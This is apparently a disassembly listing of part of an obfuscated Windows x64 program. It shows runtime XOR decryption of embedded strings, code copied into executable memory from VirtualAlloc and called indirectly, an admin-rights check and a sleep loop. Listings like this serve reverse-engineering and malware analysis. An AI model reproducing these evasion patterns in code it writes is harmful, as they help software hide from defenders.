call fcn.140248aa0
nop
lea rcx, [rsp + 0x7b8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x7d8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x7f8]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x818]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x838]
call fcn.140248aa0
nop
lea rcx, [rsp + 0x858]
call fcn.140248aa0
nop
lea rcx, [rsp + 0xa70]
call fcn.140248aa0
lea rcx, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0xf
cmova rcx, qword [rsp + 0xdf8]
mov r8, qword [rsp + 0xe08]
cmp r8, 7
jne 0x140232539
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140232539
lea r15, [0x14024a750]
nop dword [rax]
movsd xmm0, qword [0x14027ccb0]
movsd qword [rsp + 0x1e0], xmm0
mov ecx, dword [0x14027ccb8]
mov dword [rsp + 0x1e8], ecx
cmp byte [0x14027ccbb], 0
je 0x140231c05
mov r9d, esi
cmp r12d, 2
jl 0x140231bb0
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm6, xmmword [rsp + 0xd70]
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccb0]
xorps xmm2, xmm0
movd dword [rsp + 0x1e0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1e4]
xorps xmm2, xmm1
movd dword [rsp + 0x1e4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1e8], xmm2
jmp 0x140231c0e
lea r10, [rsp + 0x1e0]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140231bc0
movdqa xmm6, xmmword [rsp + 0xd70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x898], xmm0
mov qword [rsp + 0x8a8], rsi
mov qword [rsp + 0x8b0], rsi
lea rax, [rsp + 0x1e0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140231c40
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x898]
call fcn.14020c680
nop
lea rcx, [rsp + 0x898]
call fcn.1401fc2b0
mov qword [rsp + 0x4e0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe38], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xe40], r13
mov qword [rsp + 0xe48], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xe38], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x140231ce9
mov rdx, rsi
nop word [rax + rax]
cmp rax, r15
je 0x140231cd8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x140231cc0
jmp 0x140231ce9
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x140231dcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140231d12
mov r8, rsi
jmp 0x140231dae
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140231d20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x4e0]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0x188], eax
xor rbx, r13
mov qword [rsp + 0xe38], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
lea rcx, [rsp + 0x898]
call fcn.140248aa0
movups xmm4, xmmword [0x14027d7b0]
movups xmmword [rsp + 0x2a0], xmm4
movzx eax, word [0x14027d7c0]
mov word [rsp + 0x2b0], ax
cmp byte [0x14027d7c1], 0
je 0x14023217c
mov r9d, esi
cmp r12d, 2
jl 0x140232120
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm6
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x2a0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2a4]
xorps xmm2, xmm1
movd dword [rsp + 0x2a4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
xorps xmm2, xmm1
movd dword [rsp + reloc.SHELL32.dll_IsUserAnAdmin], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2ac]
xorps xmm2, xmm1
movd dword [rsp + 0x2ac], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x2a0]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140232130
xorps xmm0, xmm0
movups xmmword [rsp + 0x638], xmm0
mov qword [rsp + 0x648], rsi
mov qword [rsp + 0x650], rsi
lea rax, [rsp + 0x2a0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1402321a6
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x638]
call fcn.14020c680
nop
lea rcx, [rsp + 0x638]
call fcn.1401fc2b0
mov qword [rsp + 0x4e8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb8], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xdc0], r13
mov qword [rsp + 0xdc8], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xdb8], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x140232249
mov rdx, rsi
cmp rax, r15
je 0x140232238
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x140232220
jmp 0x140232249
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x14023232f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140232272
mov r8, rsi
jmp 0x14023230e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140232280
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x4e8]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0x178], eax
xor rbx, r13
mov qword [rsp + 0xdb8], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
lea rcx, [rsp + 0x638]
call fcn.140248aa0
cmp dword [rsp + 0x188], 0
jne 0x140232383
cmp dword [rsp + 0x178], 0
je 0x140232540
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x314], 0x7d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140295120]
test rax, rax
je 0x140232419
mov rdx, rsi
lea r8, [0x14024a780]
nop dword [rax]
cmp rax, r8
je 0x140232408
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295120]
test rax, rax
jne 0x1402323f0
jmp 0x140232419
mov r8, qword [r14 + rdx*8 + 0x297400]
test r8, r8
jne 0x140232507
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140232442
mov r8, rsi
jmp 0x1402324df
lea rax, [0x14024a780]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140232451
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
lea rcx, [0x14024a780]
mov qword [r14 + rax*8 + 0x295120], rcx
mov qword [r14 + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x314]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
mov qword [rsp + 0xd50], rax
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
jmp 0x140231950
lea r15, [0x14024a750]
mov eax, dword [0x14027cb9c]
mov dword [rsp + 0x94], eax
movzx eax, word [0x14027cba0]
mov rbx, rdi
mov word [rsp + 0x98], ax
mov byte [rsp + 0x94], 0x4f
xor byte [rsp + 0x95], 0x42
xor byte [rsp + 0x96], 0x44
xor byte [rsp + 0x97], 0x46
xor byte [rsp + 0x98], 0x48
xor byte [rsp + 0x99], 0x4a
lea rax, [rsp + 0x94]
mov qword [rsp + 0x4f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140295aa0]
test rax, rax
je 0x14023261c
mov rdx, rsi
lea r8, [0x14024a750]
cmp rax, r8
je 0x14023260b
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x1402325f3
jmp 0x14023261c
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x140232716
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140232645
mov r8, rsi
jmp 0x1402326ee
lea rax, [0x14024a750]
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140232660
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
lea rcx, [0x14024a750]
mov qword [r14 + rax*8 + 0x295aa0], rcx
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x4f0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
mov qword [rsp + 0xd50], rax
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027d818]
movups xmmword [rsp + 0x570], xmm0
movups xmm1, xmmword [0x14027d828]
movups xmmword [rsp + 0x580], xmm1
movzx eax, word [0x14027d838]
mov word [rsp + 0x590], ax
movzx eax, byte [0x14027d83a]
mov byte [rsp + 0x592], al
mov r9d, esi
cmp r12d, 2
jl 0x14023292d
movdqa xmm0, xmmword [rsp + 0xd70]
movdqa xmmword [rsp + 0xd30], xmm0
lea rcx, [rsp + 0x574]
mov edx, dword [rsp + 0xd30]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1402327b0
cmp r9d, 0x23
jge 0x14023298c
movsxd rax, r9d
lea r10, [rsp + 0x570]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x23
jl 0x140232940
lea rax, [rsp + 0x570]
mov qword [rsp + 0x878], rax
lea rcx, [rsp + 0x570]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1402329b0
mov qword [rsp + 0x880], rax
movups xmm6, xmmword [rsp + 0x878]
call fcn.14026d15c
movaps xmmword [rsp + 0xd30], xmm6
lea r8, [rsp + 0xd30]
mov edx, eax
lea rcx, [rsp + 0x910]
call fcn.1401f2fd0
nop
lea rcx, [rsp + 0x910]
call fcn.1401f36f0
movzx ebx, al
lea rcx, [rsp + 0x910]
call fcn.1402489a0
test bl, bl
jne 0x140233169
mov edx, 0x18
lea rcx, [rsp + 0xfe8]
call fcn.1401f9970
movups xmm0, xmmword [0x14027e6a0]
movups xmmword [rsp + 0x5e8], xmm0
movups xmm1, xmmword [0x14027e6b0]
movups xmmword [rsp + 0x5f8], xmm1
movzx eax, word [0x14027e6c0]
mov word [rsp + 0x608], ax
movzx eax, byte [0x14027e6c2]
mov byte [rsp + 0x60a], al
mov r9d, esi
movdqa xmm6, xmmword [rsp + 0xd70]
cmp r12d, 2
jl 0x140232c0d
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x5ec]
mov edx, dword [rsp + 0xd30]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
